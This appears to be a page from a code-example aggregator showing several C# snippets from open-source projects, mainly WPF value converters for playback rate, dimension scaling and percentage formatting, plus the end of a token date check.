        return Result.Fail($"The token's Issuance Date (nbf) timestamp is earlier than the current date and time. The token is not valid untill: {Date.ToString(CultureInfo.CurrentCulture)}.");
      }
      
      return Result.Ok();
    }

19 View Source File : AnimationSliderTooltipConverter.xaml.cs
License : Apache License 2.0
Project Creator : AnkiUniversal

public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
        {
            var rate = System.Convert.ToDouble(value);
            rate = Math.Round(rate, 1);
            return String.Format("Playback Rate: {0}x", rate);
        }

19 View Source File : DimensionConverter.cs
License : Apache License 2.0
Project Creator : AnkiUniversal

public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
        {
            var size = System.Convert.ToDouble(value);
            var divide = System.Convert.ToDouble(parameter);
            return size / divide;
        }

19 View Source File : DimensionConverter.cs
License : Apache License 2.0
Project Creator : AnkiUniversal

public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
        {
            var size = System.Convert.ToDouble(value);
            var divide = System.Convert.ToDouble(parameter);
            return size * divide;
        }

19 View Source File : Converters.cs
License : Apache License 2.0
Project Creator : anmcgrath

public object Convert (object [] values, Type targetType, object parameter, CultureInfo culture) {
			double value =System.Convert.ToDouble (values [0]) ;
			double minValue =System.Convert.ToDouble (values [1]) ;
			double maxValue =System.Convert.ToDouble (values [2]) ;
			if ( minValue == maxValue )
				return ("~%") ;
			double val =100 * (value - minValue) / (maxValue - minValue) ;
			string strValue =val.ToString ("N0") + "%" ;
			return (strValue) ;
		}

See More Examples